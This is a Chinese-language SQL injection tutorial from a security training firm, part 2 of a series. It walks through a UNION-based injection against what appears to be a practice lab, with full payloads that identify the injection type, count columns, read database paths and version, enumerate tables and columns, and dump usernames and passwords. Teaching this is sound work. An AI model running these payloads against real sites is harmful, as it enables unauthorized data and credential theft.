热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

concatmysqlsql注入_渗透测试之SQL注入(2)

渗透测试之SQL注入(2)前言上篇文章介绍了SQL注入漏洞原理、危害、防御,还有注入类型的简单介绍。今天就来说下按数据类型分类的整型注入和字符型注入的区别与常见的注入

d8e27fbe68f6fb9a4d719fb209d47854.png

渗 透 测 试

之 SQL 注 入(2)

前言

上篇文章介绍了SQL注入漏洞原理、危害、防御,还有注入类型的简单介绍。今天就来说下按数据类型分类的整型注入和字符型注入的区别与常见的注入手法。

01

整型注入和字符型注入的区别

整形注入:

?id = 1 and 1 = 1     //页面无变化

?id = 1 and 1 = 2     //页面回显报错

字符型注入:

?id = 1’ and 1 =1 #     //页面无变化

?id = 1’ and 1 =2 #     //页面回显报错

此外常见的注释符还有:%23、-- (空格)、--+

02

常用内置函数(以mysql为例)

  1. database() 函数
    作用:查看当前连接的数据库名称
    SQL语句:select database();

  2. user() 函数
    作用:查看当前连接数据库的用户
    SQL语句:select user();

  3. version() 函数
    作用:查看数据库的版本
    SQL语句:select version();

  4. concat(str1,str2) 函数
    作用:连接两个字符串并传入数据库
    SQL语句:select concat(username,password) from user; 实现无间隔连接字符串username和password

    31b9400face34b6f911d16044d8f25db.png

  5. concat_ws(separator,str1,str2) 函数
    作用:用分隔符连接两个字段的字符串
    SQL语句:select concat_ws('--',username,password) from user; 实现用分隔符"--"连接字符串username和password

    93e2c164a74493957b96f26cbde620ee.png

  6. group_concat(str1,str2) 函数
    作用:将多行查询结果以逗号分隔全部输出
    SQL语句:select group_concat(username,password) from user; 实现将每一行的字符串username和password连接起来,多行之间用逗号隔开,多行一起输出.

    00092f82b035999c452acd9a6d646e4c.png

  7. group_concat(concat_ws(seperator,str1,str2)) 函数
    作用:将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔,实现将每一行的字符串username和password用符号"--"连接起来,多行之间用逗号隔开,多行一起输出.

    c18ae7e62b0c1a04a07bc5f70884fa23.png

03

常见注入手法详细步骤

  (列举字符型注入)

  如下图所示访问一个正常的页面。

2811b8e08e029992af9078110247264f.png

  在url后添加?id=1 如下图所示页面回显正常。

be9fa8886815c6ca5abbb1120b889ad5.png

  判断是否存在注入:在id=1添加 ’ 回车后页面报错,说明可能存在sql注入。

d3d8ac06ebdf9e8fb0297478aab27eb9.png

  判断注入类型:如下图所示在url内输入?id = 1 and 1=1和?id=1 and 1 =2 页面均回显正常。

a4b2824f678a81889b30058f5e10f8ff.png

9570f72d8a96ee152b81680ca75cee16.png

  继续判断,再次输入?id=1’ and 1=1 #后页面回显报错。

99f5dbb53fa21f3f2b826dffaec01624.png

  更换注释符继续判断,如图所示?id=1’ and 1=1 --+回显正常,?id=1’ and 1=2 --+页面回显报错

da7263b05f1d83e384d1d4cce0ff92aa.png

36077aeae054db9d22e3cf8cb053d688.png

  根据页面回显及注入语句判断该注入类型为字符型注入。

  根据order by或 group by判断列数:如图所示当列数为4时页面报错,为3时页面回显正常,因此判断为3列。

bd5d384384a068460324c088a526ab5f.png

3e2660ffaa746a17915f2e334b057130.png

  判断显示位:?id=-1' union select 1,2,3 --+  如图所示回显位为2和3。

1bcbd6c69ffe1ce6f7d2b1534bc5a32c.png

  查看敏感信息:

?id=-1' union select 1,@@datadir,3 --+        //返回当前数据路的存放路径

f73771cad16d6991148cbf7b01074bd3.png

  ?id=-1' union select 1,@@version_compile_os,@@basedir --+      //返回操作系统版本和数据库安装路径

3993aa78b3007ce95d1fcae6b887f799.png

  ?id=-1' union select 1,database(),3 --+  //返回库名

91215594c3109e227934c32bfdf5d244.png

  获得当前库内(security)所有的表名:?id=-1' union select 1 ,group_concat(table_name), 3 from information_schema.tables where table_schema=database()--+

  f2dcbaf77b64877494ab25603943f0f0.png

  获取users表内的列名:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

5e0462fac25c824059ef98cf37a114ff.png

 查看用户名和密码:?id=-1' union select 1,group_concat(username,password),3 from users --+

b628f3b970e87fe931d9a75f06ab8b4b.png

关于我们:

北京冠程科技有限公司(Beijing GctechTechnologyCo.,Ltd.)是一家集人才、技术和经验于一体的,提供全面网络安全解决方案的专业服务商。冠程科技致力于为各行业的网络安全需求提供软件研发和通用解决方案,业务领域主要包括基础服务、咨询业务、产品研发和安全培训四大版块,各版块相互独立又相辅相成,完美阐释了“专业服务、全程服务、延伸服务”的服务体系和“单一业务与长远目标相融合”的服务理念。

关注冠程科技,关注网络安全!

总公司:北京冠程科技有限公司

地址:北京市昌平区科技园区东区产业基地企业墅上区一号楼九单元四层

河北分公司:河北镌远网络科技有限公司(隶属于冠程科技的河北分公司)

地址:河北省邯郸市丛台区中华北大街193号慧谷大厦14层1418号

实训基地:河北省石家庄市电子信息学校冠程科技研究与实训中心

a617feb18f9f8003f6598be52fac88ae.png240f5f8fe4c8bb1767b634e513168428.png 

欢迎扫描关注我们,及时了解更多关于网络安全相关知识

3cb0e37e0356bfe1df5ebfa27fceb012.gif



推荐阅读
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • 安装mysqlclient失败解决办法
    本文介绍了在MAC系统中,使用django使用mysql数据库报错的解决办法。通过源码安装mysqlclient或将mysql_config添加到系统环境变量中,可以解决安装mysqlclient失败的问题。同时,还介绍了查看mysql安装路径和使配置文件生效的方法。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 本文讨论了在数据库打开和关闭状态下,重新命名或移动数据文件和日志文件的情况。针对性能和维护原因,需要将数据库文件移动到不同的磁盘上或重新分配到新的磁盘上的情况,以及在操作系统级别移动或重命名数据文件但未在数据库层进行重命名导致报错的情况。通过三个方面进行讨论。 ... [详细]
  • CentOS 6.5安装VMware Tools及共享文件夹显示问题解决方法
    本文介绍了在CentOS 6.5上安装VMware Tools及解决共享文件夹显示问题的方法。包括清空CD/DVD使用的ISO镜像文件、创建挂载目录、改变光驱设备的读写权限等步骤。最后给出了拷贝解压VMware Tools的操作。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • 本文介绍了将mysql从5.6.15升级到5.7.15的详细步骤,包括关闭访问、备份旧库、备份权限、配置文件备份、关闭旧数据库、安装二进制、替换配置文件以及启动新数据库等操作。 ... [详细]
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • PDO MySQL
    PDOMySQL如果文章有成千上万篇,该怎样保存?数据保存有多种方式,比如单机文件、单机数据库(SQLite)、网络数据库(MySQL、MariaDB)等等。根据项目来选择,做We ... [详细]
  • 本文主要复习了数据库的一些知识点,包括环境变量设置、表之间的引用关系等。同时介绍了一些常用的数据库命令及其使用方法,如创建数据库、查看已存在的数据库、切换数据库、创建表等操作。通过本文的学习,可以加深对数据库的理解和应用能力。 ... [详细]
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
  • 先看一段错误日志:###Errorqueryingdatabase.Cause:com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransie ... [详细]
author-avatar
古零零碎碎
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有